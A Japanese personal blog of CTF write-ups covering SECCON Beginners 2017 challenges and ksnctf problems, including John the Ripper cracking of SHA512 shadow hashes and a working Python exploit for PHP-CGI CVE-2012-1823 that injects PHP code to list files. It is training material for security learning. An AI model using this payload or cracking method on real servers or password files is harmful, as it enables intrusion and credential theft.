ChogeLog

主にセキュリティ関係の記録やWrite-up。たまーに日記も。

SECCON Beginers 2017 in 長崎

SECCON Beginners 2017の長崎に参加してきたので、解けた問題のWrite-upを書きます。
ちなみに5位入賞(*‘∀‘)
バイナリは解き方が分かってても、短時間で解く気が起きない…笑

Misc

スコアサーバ入門 100

テスト用問題なのでパス!

てけいさん for びぎなーず 200

簡単な四則演算を100回連続で正解する問題
実はこの問題は去年解いたことあって、その時は自力で解いた(笑)
そこで今回は自動で解く!
f:id:swime:20171203155520j:plain
ソースコードを見ると、問題の数式だけdivタグを使っていることが分かる。
だからあとは、divタグから数式を抽出して計算し、結果を送信すれば良いだけ。
Pythonで書いたプログラムはこんな感じ。

# coding:utf-8

import requests
from bs4 import BeautifulSoup

url = 'http://172.20.1.1/php_math.php'
s = requests.session()
req = s.get(url)

for i in range(103):
    soup = BeautifulSoup(req.text, "lxml")
    if soup.find("div") is None:
        print(soup.text)

    else:
        div = soup.find("div").text
        quest = div.split(' ')
        x = int(quest[0])
        y = int(quest[2])

        if "+" in div:
            ans = x + y
        elif "-" in div:
            ans = x - y
        elif "*" in div:
            ans = x * y
        elif "/" in div:
            ans = x / y
        else:
            print(soup)
        req = s.post(url, data={"answer": ans})
        print(ans)

一瞬で計算終わってフラグゲット!

QR Puzzle 200

この3枚の画像を
f:id:swime:20171203162720j:plain
画像編集で繋げて絵文字部分を修正するだけ。
f:id:swime:20171203162909p:plain
あとはこのサイトにアクセスしてフラグゲット!

QRの仕組みを少しだけ知ってれば即解ける問題('ω')

Web

Fix it! 100

HTTP通信を見て、HTTPレスポンスのLoctionヘッダがリダイレクト先URL。
このURLにアクセスしてフラグゲット!
f:id:swime:20171203163439j:plain

Login 100

ゲストユーザで不正ログインする問題
普通にSQLインジェクションするだけ。
f:id:swime:20171203163635j:plain

Password 200

ログイン画面が問題だったと思う…
とりあえずソースコードを見ると、怪しいJavaScriptが。
f:id:swime:20171203164820j:plain

base64ってヒントが書いてあるので、それ以降の文字列をbase64でデコード。
するとJavaScriptコードが生成される。
あとはそのコードの処理を追って行くと、フラグゲット!

Forensic

Simple 100

Wiresharkで問題のpcapを開いて「ctf4b」で検索。
ダミーが含まれているけど、フラグ発見!
f:id:swime:20171203165943j:plain

Export 200

HTTP通信を見ると、tar.gzファイルをダウンロードしていることが分かる。
あとはWiresharkでこのファイルを復元して、解凍し、フラグが書かれたテキストファイルをゲット!

W4nn4cry? 300

ファイルシステムデータが渡される。
stringsコマンドで見てみると、何かのファイルをOpenSSLで暗号化していることが分かる。ついでに暗号化時のパスワードも記録されてる。
f:id:swime:20171203171935j:plain

flsコマンドで見ると、削除してるファイルが分かる。
f:id:swime:20171203172131j:plain

これをicatで抽出するが、中身は暗号化されている。
そこで、stringsコマンドで得た情報を基に、ファイルを復号する。
コマンドは以下。

openssl enc -d -aes-256-cbc -salt -k パスワード -in 復号対象のファイル名 -out 復号後に出力するファイル名

復号したファイルの中身にフラグあり!
WannaCryもAESで暗号化してるのかな?

Reversing

Raw 100

実行ファイルが渡される。
とりあえず実行したら笑われた('Д')
f:id:swime:20171203173830j:plain

が、stringsコマンドで簡単にゲット
f:id:swime:20171203173858j:plain

#14 John

問題

ksnctf.sweetduet.info
文字列が列挙されているだけ。

解法

とりあえずこの文字列を眺めてると、最後の行にこんな文章が。

user99:$6$SHA512IsStrong$DictionaryIsHere.http//ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt:15491:0:99999:7:::

ハッシュ関数である「SHA512」が関係することが分かる。また、その後の文章の通り、記述されているURLではテキスト形式の辞書を入手できる。
これ以上分からないので、とりあえず「SHA512」や「John」についてググる
その結果、SHA512でソルト付きパスワードを生成すると、先頭文字列が「$6$」になるらしい。そして、「John the Ripper」という有名なパスワードクラックツールがあるらしい。
以上のことから、問題の文字列は21人分のパスワードを「SHA512」でハッシュ化したもので、それを「John the Ripper」を使ってクラックすればいいと推測できる。

Kali LinuxにはデフォルトでJohnが入っているみたいなので、Kaliで解析していく。また、解析する際には先程入手した辞書を利用する。
コマンドはこんな感じ。

# john --wordlist==[辞書のファイル名] [解析するパスワードファイル名]

すると1つずつ解析結果が表示されていき、1分くらいで解析が終わる。

そして解析結果を見てみる。

# john --show [解析したパスワードファイル名]

解析したパスワードの先頭文字を順番に並べるとフラグをゲット!!

ちなみにこの問題は、シャドウファイルと呼ばれる、パスワードを暗号化して保存したファイルを想定していると思われる。Linuxの/etc/shadowに保存されているらしい。
例えハッシュ化されていても、パスワード自体が弱かったら簡単に突破されることが分かったな(´-`).。oO

#12 Hypertext Preprocessor

ひっさびさの更新!

問題

ksnctf.sweetduet.info

こういう数字だけが表示されています。

解法

とりあえずソースコードを見たけど特になし。
次に問題名の「Hypertext Preprocessor」を調べてみたら、PHPのことをいうらしい('Д')シラナカッタ
それでPHP関係かなと思いつつ、表示されてる数字の「2012:1823」をググったらCVE-2012-1823が引っかかった。
これはCGI版のPHP 5.4.2/5.3.12以前に存在する脆弱性で、URLパラメータにコマンドオプションを含めたらそれを実行しちゃうってヤツ。(この脆弱性を狙ったApache Magica攻撃というのがあるらしい)
実はこの脆弱性は後輩の研究で既に知ってて、早速URLに-sを追加してみたところ、ソースコードを確認できた。

コメントによると、フラグはこのディレクトリ内にあるとのこと。
ちなみに表示されてた数字は、CVE番号、時間、ランダム数値だと分かった。

ここから少し本格的に攻撃する必要があって、徳丸さんのサイトを参考にする。
https://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html

それによると、この2つのコマンドを使えば任意のPHPコードを実行できるらしい。

  • allow_url_include=On
  • auto_prepend_file=php://input

そして次はPHPコードでフラグを探していく。
Fiddlerでやろうと奮闘したけど、リクエストヘッダの書き方が悪かったらしく?PHPコードが実行されない…。
ということで結局Python書いた(´Д`)

import requests

url = "http://ctfq.sweetduet.info:10080/~q12/"
query = "?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input"
payload = '''
 <?php
  foreach(glob('*') as $file){
    if(is_file($file)){
        echo "$file \n";
    }
  }
 ?>
'''
r = requests.post(url+query, data=payload)
html = r.text

print(html)

PHPの処理内容は、ディレクトリ内のファイルを一覧表示するもの。
その結果、flagがあると思われるファイルを発見。

そしてcatで中身を見てフラグゲット!!


元々知ってた脆弱性だったから、そんなに苦戦しなかったかな?
久々に解いて楽しかった(´∀`)